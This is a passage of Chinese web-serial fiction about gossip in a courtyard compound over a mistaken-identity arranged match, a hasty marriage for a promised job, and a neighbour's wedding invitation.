秦堂挠挠头，不好意思点头：“是啊，我其实想睡懒觉的。但爱民那小子愣是说不敢一个人去。” 白兰有点无语。这胡爱民长得瘦瘦小小就算了，这胆子看着也是个老鼠胆。 正说着胡爱民呢，对方就从家里开门出来。看到他们三站在院儿，上来就招呼秦堂。 168cm的胡爱民，站在180cm的秦堂边上，一个长相阴郁，一个长相阳光。对比过于惨烈，白兰忍不住伸手扶额。 感叹胡爱民真是蜜汁自信，也不怕人女方直接看中秦堂。 秦艳看着离开的大哥跟胡爱民，也忍不住吐槽：“真是服了，瘦杆儿这样的，也敢拉大哥去当陪衬。” —— 这么一个小插曲过去了，两人就各自上班去了。 等到下午下班回来，白兰这才听说胡爱民跟女方见面相当成功。人女方已经答应，这周末就带着家人上门来相看。主要是看胡爱民的家庭条件是不是跟中间人说的那样。 按照惯例，上门相看这一关过了，那结婚也不远。 这速度，真是杠杠的。 听到白兰的感叹，白妈妈好笑道：“相亲都这个速度。不像你跟建北这种自己谈的。那效率比不上。看你三姐……” 说到这里，白妈妈瞬间卡壳。家里人都不怎么爱说苹苹的事儿了。昨天苹苹来了，她也没说。但刚刚真是一时习惯，也不知道为什么会提起苹苹来。 白兰见白妈妈这副样子，赶紧插科打诨：“也不知道女方到底条件有多好。刚进门的时候，我看胡寡妇那副满脸红光的样子。女方估计挺优秀的。” “对对对，都在院儿说了大半天了。” 母女两默契地聊着这个话题，然后胡寡妇就上门来借白面了。 “不是说周末才上门吗？今天才周一，还早着呢！家里白面没领回来。” 白妈妈直接拒绝了胡寡妇的借面行为。也不是她小气，而是胡寡妇这人惯会有借不还。 胡寡妇见状撇撇嘴，心想真是小气。然后又往别家借去了。用的借口就是不要耽误孩子的婚姻大事。 还真有人会被这借口绑架，借一碗、半碗白面出来。 这骚操作，再次让白兰开了眼界。 接下来几天，整个杏花胡同的话题，都是关于胡爱民相亲对象要上门相看的事情。 就这样热热闹闹，时间很快就来到了周末。 第22章 第22章乌龙的相亲 这天一早，天刚蒙蒙亮，白兰还在床上躺着呢，就听到院子传来水龙头哗啦啦的声音。 她无语地用被子蒙头想再睡一会儿，但马上就又听到胡寡妇那中气十足的大嗓门。 “哎哟，爱花，赶紧烧热水。这鸭子拔毛还要不少时间了。” “哎哎哎，爱民。你也别睡懒觉了。早点去国营饭店，买几个肉包子回来。” 白兰把枕头底下的手表拿出来一看，真是服了。才早上五点多一点。这老胡家就搞出这么大阵仗。不知道的还以为今天胡爱民要结婚呢！ “哎，可终于舍得杀这野鸭子啦。真是的，你要再不杀，我就直接动手了。” 院子又想起一道年轻女人的声音。白兰一听就知道是住胡寡妇隔壁的万家儿媳妇。 说起来，不止万家儿媳妇有意见，后院这几家多多少少对那只野鸭子也有意见。 不是他们小气，妒忌胡寡妇家里能养着一只野鸭子。而是这野鸭子估计真是野性难驯，这几天天天丫丫叫个不停。每天天没亮就开始叫，确实挺烦人的。 好不容易终于等到周末，这胡爱民的相亲对象要上门了。大伙儿现在该松口气了。 “来啊，正好今天忙，这鸭子就让你来杀得了。”胡寡妇一脸听不懂讽刺的样子，笑眯眯地看向韩翠花。 韩翠花隔着窗户朝她啐了一口：“我才没那闲工夫。爱杀不杀，要我杀我就剁个鸭腿回家给我家娃儿吃……” 白兰躺在床上听着这两人斗嘴，忽然觉得还挺有意思的。 —— 上午9点左右，白兰正在院子逗两外甥女。今天许建北有事外出，约会暂停。所以白兰这天准备家里蹲，顺便看看这年代女方上门相看的热闹。 就在这时候，女方一家在介绍人带领下，直接走进了后院。 介绍人是个中年女人，对方一脚还 没跨过月亮门呢，就已经指着东厢大喊：“看，这东厢最大那间屋子就是老胡家。这家就一个儿子，结婚以后，小两口就能住在那么大间屋子。” 秦艳不知道什么时候窜了过来，小声嘀咕：“这是把胡爱花当成透明人呢！” 白兰：……这算不算一种另类的所谓“独生子”？ 而那头介绍人已经介绍完房子，又在说：“爱民这孩子别看人腼腆，但人家可是纺织厂的电工。纺织厂知道吧，在里头上班，以后衣服是不用愁喽。电工知道吧！那些个电线啥的，都是靠他们维护的。” 秦艳：“在纺织厂工作谁说不缺衣服穿！电工，呵呵。胡爱民能分清地线火线就够厉害了。” 白兰忍着笑，真怕自己笑出声来，会打断介绍人那夸张的表演。 但确实，他们大杂院大部分都是纺织厂的职工。但也没有哪家不缺衣服穿的。纺织厂工作，最多就是能方便买些残次品。但这也得花钱的啊。谁家不花钱从厂里薅布回来。立马连夜就能传遍整个片区。 像她家那天弄了那么多野鸭子，要不是住在大杂院，怕人多嘴杂。他爸都恨不得养着慢慢吃呢！ “所以啊，这爱民可是个好对象。要不是我人面广，还不能给你们介绍这么好的对象……” —— 看着介绍人那夸张的表演，院子里的人越聚越多。白兰这时候也观察到这一家三口的情况。 没错，是一对中年男女带着一个年轻的姑娘。 其中，中年男女的衣服都挺新的，没有补丁。但都带着折叠的痕迹。可以想见这是专门出门才能穿上的压箱底衣服。两人神色忐忑带着些高兴，显然很相信介绍人的话。 而那位年轻的姑娘，长相其实有点寡淡。但是那双眼睛十分灵动，一看就是个聪明人。 白兰见状点点头。想着这样机灵的聪明人，不会被介绍人那些夸张的话给骗了的。 这时候，胡寡妇已经笑眯眯地上来招待：“哎哟哟，贵客上门，贵客上门。走走走，进屋说去。小高啊，你是年轻人，就在院儿跟年轻人一起玩吧！” 说着，胡寡妇对着院子里或站或蹲的一堆年轻人吆喝：“小伙子姑娘们，咱家的客人就麻烦大家帮忙招待啦！” 整座三号大杂院光是适龄的未婚男女青年，加起来就有十个。加上胡同其他家过来看热闹的。那真是闹哄哄接近二十个人。白兰见状，立刻往家里退了几步。想把空间让给这些年轻人。不过马上就被秦艳给拉住了。 “走走走，我们看热闹去。我哥那傻子，一早就被瘦杆儿拉着，现在还在那傻站着。” —— 白兰看过去，就看到院儿石桌那块，胡爱民跟秦堂还有几个年轻人正在你推我，我推你，一副害羞不敢上去的模样。 不过那叫小高的姑娘倒是挺勇敢的。直接走到石桌边，笑眯眯地打招呼：“早啊！胡同志。” 白兰看到这里，脸上的表情开始古怪起来。 等她看到小高自然地对着秦堂开始说话后，脸上的表情转变为震惊。 “兰……兰……兰兰……”秦艳震惊地拉着白兰：“她她她……她干嘛跟我哥说话那么亲热……” 不止白兰，石桌那边的那堆年轻人，还有一些待在院儿看热闹的邻居们，这会儿也看出门道来了。 万大妈这个喜欢拆胡寡妇台的，更是一拍大腿：“哎哟，糟了，糟了。这是认错人啦！” “妈，小声点。都是见过面的年轻人。又不是旧社会没见面直接上花轿的，咋会认错人呢！”韩翠花赶紧让婆婆小声点。这没搞清楚的事情，嚷嚷出来，怕不是要坏人姻缘。 但马上，就连韩翠花也知道，那姑娘真认错人呢！ 因为小高人真的很机灵。在秦堂说了几句话后，就发现大家的表情不对劲。随即她直接问秦堂：“你不是胡爱民同志吗？” 秦堂还一脸懵呢，他怎么不知道自己什么时候改名字叫胡爱民呢！ 他摇头。边上的胡爱民已经气得牙痒痒：“我才是胡爱民。” 小高瞳孔地震：“不可能。那天见面咱虽然没说话。但是谁家相看会找比自己长得高状，长得好看的男同志一起去的啊！” 这想当然的，让周围人瞬间无语了。 白兰则是问秦艳：“你哥那天陪着胡爱民出去，就跟人远远见一面，啥都没说对吧！” 秦艳点头：“是啊，吃饭的时候我哥还说胡爱民相看的时候跟块木头一样。看了姑娘两眼就拉着他先走了。” 白兰：…… —— 秦婶子一直在门口坐着晒太阳顺便看热闹。现在发现热闹到了自家头上，立马跳起来就去把自己儿子往家喊。她可不想自家掺和到胡家的事情里头。而且，她儿子那么高高大大的小伙子，前途又好。可不会找农村姑娘。 秦堂当然马上就往家里走。他是讲义气，但也不傻。认错人又不是他弄出来的。而且，他现在也没想找对象啊！于是，秦堂起身，只说了句你认错了，麻溜儿就回家去了。 小高姑娘还想伸手去拉秦堂，但马上就被不知道什么时候跑出来的胡寡妇给挡住了。 “咋滴啦，咋滴啦？” 胡爱民脸色铁青：“妈，你介绍的什么好对象。居然认错人了。哼，我就说见面我一个人去就好的……” 白兰听到这里，心里瞬间闪过一个念头。但马上又觉得自己是不是把人想得太坏了些。 但是，那头的胡寡妇却真一副不生气的模样。反而伸手揽着那小高姑娘就往家里走。 “走走走，有什么事情回家聊。你父母还在里头说话呢！有误会咱解开就好了。” 胡爱民也被他妈瞪了两眼，随即跟了上去。 一场热热闹闹的相看，到了这里仿佛被人按下了暂停键。 等当事人都不在院儿后，整个后院炸开了锅。大伙儿议论纷纷，都说幸好这女方上门相看了。不然，还不等接新娘子的时候，才发现搞错人啦！ 秦艳回家审问她哥去了，白兰没人可以嘀咕。但是，她怀疑那天胡爱民拉着秦堂一起去跟女方见面。打的主意，不会就是让女方误会秦堂是胡爱民吧！ 毕竟，秦堂的外表，确实比胡爱民要好不少。胡爱民听说相亲好多次，都因为长相问题，被女方嫌弃。 但这也不是旧社会，一个盖头下去，到洞房女方才发现认错新郎啊！ 这胡寡妇还有什么办法，能让人女方答应结婚啊！ —— 而老胡家这会儿气氛确实有点诡异。 主要认错人的责任表面上看就是在高青青这里的。高青青一进胡家，就跟父母说认错人的事情。高家两口子都是老实人，瞬间就十分为难。 这姑娘家认错男方，上门后发现搞错这种事情，真是戏文都不敢这样写。这说出去真不怎么好听。 “要不，闺女再看看。这胡爱民除了长相不怎样，家里条件确实不错。工作好负担小。” 刚胡寡妇拿出来的存折，那余额直接让她震惊了。她种地一辈子，也没见过这么多钱。听说这结婚后都给她闺女拿着。 而且，胡家没有公公，唯一的婆婆又年轻，两口子以后生孩子，这婆婆还能给带孩子呢。 家里就一个妹妹，眼瞅着马上要出嫁。到时候有彩礼又不用娘家怎么给钱。 怎么算都是一门划算的买卖。 高青青却不乐意。她嫌弃胡爱民又瘦又矮还丑。跟秦堂没有一点可比性。她要嫁人就要嫁秦堂这样的。 胡寡妇这时候相当贴心，拉着介绍人嘀嘀咕咕。把时间让给高家一家三口。 等高家人商量完，说出不结亲的话后，她居然也没生气。反而心平气和地说出一句话来。 顿时，高家人改变主意了。 第23章 第23章骗婚？ “怎么这就要结婚呢？不是说认错人了吗？” 许建北没想到自己出门一趟回来，就听到白兰讲了这么一个乌龙故事。故事已经足够让人震惊了。没想到结局更是出乎大家的预料。 白兰耸肩：“可不是嘛！那天还没什么动静，就看到高家人在胡家吃了饭，平平静静地走了。有人找胡寡妇打听，问事情到底 咋处理。毕竟这认错人也是够搞笑的。结果胡寡妇神神秘秘的。今天冷不丁就说胡爱民跟高青青要去领结婚证。” 周四中午，白兰跟许建北一起在纺织厂的大食堂吃午饭。顺便分享今天一早大杂院发生的事情。 她是真没想到事情还会有后续。那天高家人离开的时候，虽然没有黑脸，但也没见胡寡妇高兴啊！白兰还以为双方把乌龙说开了，吃个饭就当没事儿发生，各回各家。 结果没过几天，这两家就跑去打结婚证了。这走向，啧啧。看得白兰一愣一愣的。 “我寻思着下班回去，大杂院铁定热闹得不行。” 许建北想想这事儿的离奇程度，十分赞同地点头。 “要不等我下班也回去看看？” 白兰好笑：“太晚了估计热闹就少了。” 白兰这次还真猜错了。因为即使到了傍晚，热闹一点也不会少。相反，因为大家都下班回家了。这热闹就越发热闹起来。 —— “做席面？” 傍晚大家都在准备晚饭，白爸爸今天早下班，正要进厨房露两手呢，胡寡妇就兴匆匆过来。开口邀请白爸爸帮忙准备这周她娶儿媳妇的席面。 “是啊，今天这不是打结婚证了吗？但人家姑娘要嫁过来，还是得亲自去接才像话。想着周末人多，就在这周末搞个小席面，到时候客人就请咱胡同一些相熟的人家，还有咱院儿的人，大家一起热热闹闹。” 胡寡妇能说出这么有水平的话，白兰震惊地捏了捏边上站着的许建北。 今晚，对方要在自家吃晚饭。 许建北好笑地搓揉了一下白兰的指尖，示意她别调皮。 而那头的白爸爸并没有注意到两人的小动作。他被胡寡妇的请求难住了。按理邻居邀请他做个席面，并不是多难的事儿。但是，大家都传胡寡妇这儿媳妇娶得不光彩。说不得是骗了人家姑娘的。 他不太想帮忙做这个席面，因为他担心胡寡妇还真骗了人家姑娘。毕竟那姑娘当初认错人，大伙儿都是亲眼看到的。 好几户人家私下里都说要去跟街道说说这事儿。查清楚，别真把人家姑娘给骗了。 “放心，这席面的辛苦费……”胡寡妇见白爸爸不说话，立马补充。 但白爸爸连连摆手。 白妈妈这时候插话：“那天我家刚好有事，我娘家的亲戚要来家里。当家的没时间做这席面。” 这话听着就敷衍。胡寡妇的脸瞬间拉了下来。但这老白家不好交恶。 这家虽然没有儿子，但四个闺女都不是棉花做的。特别是那白兰，带着许家那小儿子，正虎视眈眈地盯着自己。 胡寡妇只能拉着脸又跑去隔壁家。 —— 很快，隔壁就响起了刘招娣那模棱两可的回应。这次胡寡妇是上门来说吃席面的事儿，结果又被刘招娣这生不出儿子的这样对待，气得肝儿都疼。而再隔壁的王老太，那就是个厉害老太太。她惹不起。 接着，胡寡妇又跑了西厢老许家，前院几户人家。甚至，还往周围几条胡同相熟的人家都跑了一遍。 等饭菜做好的时候，白兰就听说胡寡妇一共也没能邀请到几个来吃席的人。 想来，大家都怕胡寡妇搞骗婚那一套。索性连席面都不参加了。但是，大伙儿一定会在那天早早搬了椅子，跑到后院这里来看热闹的。 胡寡妇当然也知道那些人心中想的事儿。所以她特别生气。 “哼，不来参加席面我就不办了。还省了弄材料的功夫，也省钱票呢！爱民啊，到时候省下来的钱，妈给你买台收音机。” 胡爱民胡乱点头，又往嘴巴塞了一口炒鸡蛋。反正结婚他啥也不用干，人到就行了。该怎么折腾，他妈会弄的。 胡寡妇见儿子这样听话，满意点头：“等那些人知道你这媳妇是咋来的。铁定一个个眼珠子都要跳出来。哼，我就等着看他们那天的傻样儿！” —— 另一头，高青青拿着新鲜出炉的结婚证回到家里，迎接她的并不是爹妈的笑脸。 只见高家两口子愁眉苦脸地看着闺女，又劝道：“之前你不是说要考虑考虑的吗？怎么冷不丁这就把结婚证给打了？不是说嫌弃那胡爱民长得丑吗？” 高家两口子实在闹不明白闺女的想法了。 之前有人介绍胡爱民，因为对方家里条件着实好，他们一家都动心，答应跟对方相亲。偏闺女说正式相看前，她得先见见对方。别到时候嫁给一个倭瓜。 两口子虽然觉得闺女的要求在农村来说有点出格，但也同意了。很快，介绍人安排两人远远见了一面，闺女回来十分满意。两口子就想着这很好。对方眼瞅着是个有人才样儿的。家里条件又好，嫁过去闺女这是要享福喽。 高兴没几天，上门一相看。哎嘛，自家那精明闺女居然搞错对象了。 这可真是丢大脸了！ 想想当时的情况，两口子真想捂脸走人。但又舍不得老胡家的好条件。就想劝闺女几句。但闺女还是不乐意。直到最后那老胡家的女人说了一个优厚的条件后。闺女终于回转心意。 但闺女也没当场拍板说答应结婚啊！只说会认真考虑。 两口子回到家里，仔细一琢磨。觉得闺女不乐意也好。毕竟结婚是一辈子的事儿。闺女嫌弃那胡爱民长得丑，要嫁过去一辈子就是穷受罪。 结果，他们两口子是回过味儿来了。闺女这忽然就魔愣了。 大下午跑回家，往他们两口子跟前扔出一张结婚证。 天啊噜，他们村里没几个人有正经去打结婚证。闺女这一张还是他们第一次看到的。但是，他们不想看这个稀罕啊！ —— 高青青不耐烦地摆手：“之前在那胡家，你们两不也劝我要考虑考虑吗？说那老胡家的条件正经不错。我一进门就能当家。怎么这会儿我真跟对方结婚了，你们两又变样呢？” 想到这几天的经历，高青青的表情十分不好看。 高家两口子嘴笨，不知道该怎么回答女儿这句话。是，他们是贪图胡家的好处。但也不想让闺女后半辈子过得不好啊。 而高青青显然也知道父母的想法。她扯了个笑容，低声道：“我嫁到城里，是要享福去的。再说，有个城里女婿，你们以后在村里就有面儿了。钱也不会少了你们的。你们的药钱有着落了，两个弟弟也不怕饿肚子了。这么多好处，你们也不高兴高兴……” 高家两口子一听女儿分析，好像也真是这么回事。于是，夫妻两这才露出笑容来。开始商量要怎么给女儿置办一下。免得结婚的时候太寒酸。 高青青攥着刚到手的五百块彩礼，见父母放松后，也就坐下来休息了。但只有她自己知道，为什么会选择跟胡爱民结婚。 —— 在众人期待的目光中，时间很快就来到了周末。 这天一早，老胡家四点多就热闹了起来。听说是要早起跑去村里接人。为了这个，胡寡妇还神通广大借到了一台破旧的货车。 借车还有一个小插曲，胡寡妇一开始是找许建南帮忙的，对方认识不少运输公司的人。但许建南拒绝了。因为都怕胡寡妇这儿媳妇是骗婚得来的。所以没人想要掺和进去。 听说街道办的人接到举报，还跑来找胡寡妇做了好几次思想工作。可把她气的够呛的。 但这些个问题，都没能阻挡胡寡妇那颗娶儿媳妇的心。 于是，这天一早。当那台破旧带着点猪粪味儿的破旧货车出现在胡同口的时候，大伙儿都震惊了。 这年头车难得啊！也没人嫌弃这货车是拉生猪的。反正大伙儿都有点羡慕起来。纷纷朝胡寡妇打听，这车子从哪里借来的。 不过胡寡妇一副牛逼轰轰的模样，只双手叉腰，喊着儿子跟几个特意请来帮忙的人赶紧上车。 车子一溜烟就跑了，留在大杂院的众人觉也不睡了。一个个都在讨论胡寡妇这车子从哪里借的。 老秦家这会儿也特别热闹。 主要是秦艳被胡家的动静吵醒后，立刻就想起床早点看热闹。 不过刚洗漱完，早饭还没吃呢，就听到她妈在跟她爸吐槽：“幸好那老胡家还有点成算，没喊咱家秦堂跟着一起去接新娘子。” 刚刚那一车出去的，有胡爱民跟介绍人，还有另外两个小伙子，都是胡家那边的亲戚。并没有喊邻居的小孩作陪。 秦叔叹气：“行了行了。人家姑娘不就认错一次而已嘛。又不是一辈子要老死不往来。等结婚了，爱民那小子要找老大玩，你可不要阻止。都是大人了，别弄得那么难看。” 秦艳刚想反驳她爸。因为她觉得胡爱民这样阴恻恻的人，不适合当朋友。就看到她大哥满脸尴尬地站在门口。 “大哥，干嘛呢，傻站在那！” 秦堂讪讪开口：“没事儿，没事儿……” 但十分了解自家大哥的秦艳，立马就看出了不对劲。她微眯双眼喊道：“爸妈，大哥有情况。” 于是，早上五点钟，白兰在被窝中迎来了震惊的秦艳。 第24章 第24章胡爱民结婚记 “真的……” “天啊……” “我都不敢相信……” “要不是我眼尖，我那傻大哥还瞒着我们呢……” “我妈说要快点给大哥找个媳妇，免得出什么丑事……” 白兰还躺在被窝里，看着在眼前来回走动激动万分的秦艳，同样十分震惊。这时候她就庆幸白苹搬走了。房间就她一个人。不然被旁人听到秦艳的话，怕是今天老胡家这娶儿媳妇也不会顺利到哪里去。 “兰兰……”秦艳冷不丁忽然喊了一声：“你怎么还能那么镇定！我哥他……高青青她……” 白兰坐起身来，安抚道：“镇定镇定，事儿不是没多少人知道吗？” 其实白兰内心也是相当震惊的。 因为高青青居然私下里找秦堂表白过。而就在对方表白的两天后，高青青就跟胡爱民打了结婚证。中间耽搁一天还是因为要开介绍信。算下来这效率，真是坐飞机的速度都没那么快的！ 高青青这感情收放自如得让人震惊！ 秦艳却没那么容易镇定：“你是不知道，我哥那没用的。这两天看着就不对头。今天更是缩着脖子一副窝囊样。天啊！这事儿从头到尾，其实好像跟我哥关系不大对吧！” 想到刚从她哥嘴里逼问到的细节，秦艳就觉得十分厌烦。 “那女人就要嫁进来了，以后会不会还缠着我哥？我哥这傻子，刚开始还不说。硬是觉得这事儿是高青青的私人事情，说出来对她名声不好。我呸，我觉得她要是要脸，就别做这种事情。前脚跟我哥表白被拒，后脚马上就嫁给了胡爱民。你说这种人能是什么好人吗？” 这问题白兰还真不好回答。 高青青的举动法律上是没有任何问题的。但道德上来说，估计没多少人能接受。 “但是，她跟胡爱民已经打了结婚证了。她跟你哥没有一毛钱关系。你要是不镇定被人看出什么来，那才是害了你哥。” 一听这个，秦艳终于慢慢冷静了下来。她可不想害她哥被人说闲话。她哥这人看着有点傻乎乎的，但是对自己特别好。她的工作是托白叔的关系弄来的。但中间要请人吃饭送礼，是大哥出钱的。 这样好的大哥，可不能沾上流言蜚语。 下定决心，秦艳立马跑回家里去。准备盯着她哥，免得待会儿高青青进门，再发生什么奇怪事情。 送走高青青，白兰这懒觉也不用睡了。她起来去水槽洗漱，发现院子已经站满了邻居。不止是他们院儿的，边上几个大杂院，还有附近胡同，都有人跑过来了。 白妈妈正在院子跟几个婶子混在一起说话。见白兰起来，还朝她喊道：“怎么这么早起来……” 白兰笑笑没回答，朝秦家那边看了一眼，见屋门紧闭，就知道秦家人这是关起门来商量事儿了。她也没去掺和，心想这种事情对于秦家人来说，应该十分糟心才对。 —— 时间很快就到了上午十点多，胡同口传来了汽车的刹车声音。院子里不少人听到动静，麻溜儿就跑出去。不少小孩子大喊看新娘子喽，看新娘子喽，然后也跟着大人往外头跑。 白兰自然没跟人去扎堆。反倒是坐在门口准备看热闹。 这时候大头先一步跑了进来，见只有白兰诧异：“艳子呢？” 白兰：“他们一家有事出门了。” 没错，秦家人是在早上八点多的时候，锁上门一家子出门去了。当时还有人好奇他们一家去哪儿。但秦婶子只说有事。 不过大家的注意力都在胡家，也没人在意秦家人的反应。 白兰觉得他们出门挺好的，这样一来说不定能避免不少麻烦。 而很快，白兰的猜测就成真了。 因为高青青下车被迎进胡家，又搞了些仪式后，居然跟着胡爱民一起，挨家挨户送起喜糖来了。 —— 说起来，这送喜糖一开始胡寡妇还不乐意的。只准备在家门口撒点糖让小孩子抢就算了。但高青青直接在院子，当着大家伙的面，表示要上门给大杂院的邻居送喜糖。 这话直接说出去了，院儿的人又多，马上就有人起哄胡寡妇这儿媳妇不错，真大气。 胡寡妇被人这样架起来了，加上今天又是儿子的好日子，只得点头。 然后，众人就看着高青青提着一小篮子的喜糖，拉着胡爱民挨家挨户走起来。 白兰见到这个阵仗，暗自庆幸秦家人跑得快。不然待会儿高青青上门，要是说出什么惊人的话来，那真是要吓死个人呢！ 而高青青这边呢，很快就发现秦家的关门闭户。 “这家人呢？” 秦家就住在白家左边的两间耳房里，见这家没人，白兰又坐在附近，直接就朝她问起来。 白兰摇头没说话。她不太想跟高青青说话。 好在边上不少热心邻居，纷纷表示秦家人出门去了。于是，喜糖只能送下一家了。 白兰看着送到自己手里的喜糖，真是相当无语。主要她发现高青青在得知秦家人不在家后，表情居然有点失望。 这真是让白兰相当费解。 要她是高青青，可能会想在结婚这天避开秦堂的。但看高青青这样子，分明是想再见见秦堂。 反正，这种举动在白兰看来，相当神奇。 在这之后，高青青看起来一切正常。很快送了一圈喜糖后，高青青跟胡爱民回到老胡家去了。 到了这里，白兰心想估计能消停一会儿了吧！ 然而，事实上到了胡家里面，才是不消停的开始。 —— 胡家跟大多数人家一样，一家好几口人就挤在一间屋子里。 不过胡家住的这一间东厢面积还可以，有二十个平方多一点。屋子早年就用木板隔成了两间。里头那间给胡爱民住。外头白天是堂屋，晚上则是胡寡妇带着女儿胡爱花一起住。 就这条件，在城里其实不算差的了。 高青青一进门看到这逼仄的空间，就分外想念乡下的房子。不过城里的房子有一点好，房顶不会掉泥坯。所以，她勉勉强强接受了。想着等胡爱花这个小姑子嫁出去就好了。 但她又忍不住想刚刚见到的秦家屋子。虽然没能进门看里面的格局。但是秦家一家四口有两间屋子，胡家真是比不上啊！ 好在胡家有钱。听说当年纺织厂赔了不少钱。那天看到的存折，里面的钱应该就是了。按照那天相看时的承诺，这钱应该很快就到自己手上。到时候，自己就不缺钱了。 当然，除了钱还有更加重要的事情。 “妈，工作的事情 安排得怎样？” 她之所以同意嫁给胡爱民，除了秦堂那无情的拒绝外，更加重要的就是这个工作了。这可是胡寡妇亲口承诺的。要不是这个承诺，她当时就会带着父母走人。 胡寡妇看着这刚进门就要工作的儿媳妇，也没生气。因为一开始她就准备用工作来吸引对方的。只是这洞房都没洞呢，她可不会真给安排工作，这是傻子才干的事儿。 别说洞房了，就是孩子也得生了。她才会考虑帮高青青安排工作。毕竟这工作可不是大风刮来的。要是真给对方工作，对方转头就跟儿子离婚。那才真是赔了夫人又折兵。 胡寡妇心里盘算得好好的。面上笑容越发灿烂起来。 “工作还在跑关系呢！你知道的，城里的工作也是紧巴巴的。但你放心，妈既然都承诺过了，那一点不会少你这份工作的。你公社那临时工，结婚后应该是没法子再干了。但是，家里的活儿也不少。不用怕以后闲得发慌……” 这话听着不怎么对味。高青青皱眉想说什么。但顾忌到这女人不好糊弄，又按捺了下去。 而胡寡妇见她这样服帖，嘴角的笑容更是止都止不住。 哈哈，等生了孩子，就要带孩子。带孩子带着带着，第二个孩子又来了。工作嘛，她会给的。什么时候给就要看心情喽！ —— 高青青不知道胡寡妇打得馊主意。但她也不是真傻。工作没到手前，她可不会吃亏。 这不，新婚小两口进了屋里。高青青开始收拾自己从娘家带回来的嫁妆。 因为嫁得着急，嫁妆也就是两块布，还有几双自家妈做的鞋底子。另外，就是村里人帮忙赶出来的两床被套。 东西都放在一个木箱子里，收拾的话就要弯腰。 高青青这腰刚弯下来没多久，身后站着的胡爱民就抱了过来。 瞬间，高青青浑身僵硬。只觉得脊背发寒，耳边的热气让她觉得恶心。男人那瘦巴巴的手臂抱着自己的腰，像两根柴火棍，让人窒息。呼吸出来的气息，都带着些臭味。 真是恶心！ 高青青这样想着，手臂用力，马上就把胡爱民给挣脱了。甚至，因为她比胡爱民还高那么一点点。用力的时候，后脑勺还砸到了胡爱民的鼻子。把他那蒜头鼻给砸出鼻血来了。 “妈……啊……妈……” 屋里传来儿子的尖叫声，屋外还在畅想儿子大白天就要洞房的胡寡妇，吓得直接掀开门帘子。然后就看到儿子捂着的鼻子在流鼻血。 胡寡妇见状，以为儿子这是太猴急了，一时热血上涌导致的流鼻血。居然笑眯眯地说道：“好啦好啦，这年轻人就是血气方刚……” 血气方刚胡爱民，鼻子痛得说不出话来。 —— 胡爱民的惨叫声，自然也被院子的人听了个正着。 这满院子看热闹的人还没回去呢，听到这惨叫声一个个都面面相觑起来。有满脑子荤段子的老大妈，更是互相挤眉弄眼。 白兰一直在观察这些人的动静，见状相当无语。 很快，大家都知道没有什么事情发生。只是胡爱民流鼻血了。 这一说就更加不得了了。那些老大妈的联想能力比胡寡妇也不差了。瞬间，更多荤段子满天飞舞。白兰听得满脑门黑线，直接躲屋里去了。她不是害羞，是觉得这些话有点脏耳朵。 不过很快，白兰又从屋里出来继续看热闹了。 因为，街道的人上门来啦！ 上门是为了什么？ 当然是之前有人举报胡寡妇骗婚的事情啦！ 为了这个事儿，街道办上门给胡寡妇做了思想工作。大姐这位在市妇联工作的同志，更是亲自找胡寡妇了解过情况。 得来结果当然是没什么结果。这不，这高青青一进门，街道办的人紧跟着就来打听情况了。 白兰不禁感叹幸好大姐最近周末放假，都要带两外甥女去外面走走。不然，今天铁定也要跟着街道办一起做工作的。 但是，白兰不希望大姐掺和到高青青的事情里面。 之前她还有点怀疑对方是不是被骗什么的。但看今天高青青敢上秦家的门，就说明这人不是个简单的角色。这种人，不需要人帮忙。 —— “没有，真没有骗婚。不信你们直接问我儿媳妇得了。青青，青青……”胡寡妇相当自信地对着到来的街道办人说道。 刚胡爱民流鼻血，她这才把人拉到堂屋止血。好不容易鼻血止住，街道办的人就上门了。这让胡寡妇暗骂这些人咸吃萝卜淡操心。但也知道不能得罪他们。只得朝里屋大喊高青青的名字。 高青青也没让胡寡妇失望，当着众人的面，直接开口：“没有，没有骗婚。我是自愿的。要不是自愿，哪里能打结婚证出来呢？就是介绍信也开不了了。” 胡家的阵仗早已经把院子的邻居都吸引到门口蹲点。这会儿听到高青青的话，立刻有人大声嚷嚷：“那你图胡爱民啥啊！” 众人看向胡爱民，这会儿对方两个鼻孔都塞着红色的草纸。看起来相当滑稽。站在清秀的高青青身边，都把高青青衬托得像个大美人儿。 高青青呵呵笑：“图他人好呗！” “多好啊！”已经有大妈开始调笑起来。 高青青十分自然地接话：“爱民说了，要给我当家，还要给我找份好工作呢！” 众人一听，震惊看向胡寡妇。 胡寡妇一听打了个激灵，眼中凶光一闪而逝，随即笑笑：“这些就是我们的家事了。确定没有骗婚，你们可以走了吧！” 街道办的人这会儿多多少少也看明白了什么，立刻起身告辞。其他本来还想继续看热闹的邻居，见胡寡妇变脸，立马也起身出去了。 反正，大杂院就这么点儿地。胡家要真发生什么大事儿，她们蹲窗下也能知道的。 不过，她们注定要失望了。因为胡家关门后，并没有吵闹声传出来。只时不时有说话声传出，不过声音很小，大家也没能听清楚内容。 —— “看来这新媳妇也不是个善茬啊！” 大伙儿在院子聚在一起讨论起来。好几个之前热心的举报群众，这会儿表情都有点讪讪的。 马后炮万大妈呵呵笑道：“我就说那胡寡妇命没那么好的啊！看看，看看。今天那小媳妇一看哪里是容易拿捏的。说不定这是娶了个母老虎进门呢！” “可别说呢，以后咱东厢估计要热闹起来喽！” 万大妈隔壁的钱大妈也跟着感叹一声。两人都跟胡寡妇住在东厢。多年的老邻居了，谁不知道谁啊！ 之前胡寡妇一副这儿媳妇是个好的模样。这会儿瞧着，这所谓好也是掺了水分的。 院儿的人在那感慨胡寡妇怕是要栽跟头。而门口站着看热闹的白兰，只觉得老秦家以后的日子怕是要不太平了。 看今天高青青的举动，不太像能放下秦堂的。也不知道哪里来的深情厚谊，对见过一面的男人这样执着。 但不等白兰感叹多久，马上自家也有一点点小麻烦上门来了。 说是麻烦也不算，因为事儿出在大姐的前夫秦胜利身上。 秦胜利，这个离婚不到三个月的男人，居然要再婚了。再婚的对象就是当初那个王娟。这还不算啥。最让人无语的是，对方把请柬送到他们家来了。 这让白家人相当恼火，都以为秦胜利这是挑衅呢。但接下来事情的走向，让大家目瞪口呆，一辈子都忘不了的那种。 第25章 第25章疯狂的秦胜利1 请柬是邮递员赶在天黑前送过来的。一般来说信件都是上午派发居多。快晚上才送过来还是第一次。 当时因为胡家娶媳妇儿的事情，没人去在意这封信件。直到大姐带着 两外甥女从外面高高兴兴回来。两孩子好奇桌上放着还没拆封的信件。大姐顺手接过一拆开，立马就看到大红纸书写的请柬。 请柬上头大大写着结婚双方的名字：秦胜利X王娟。 就这么两个名字出来，屋里众人齐齐变色。 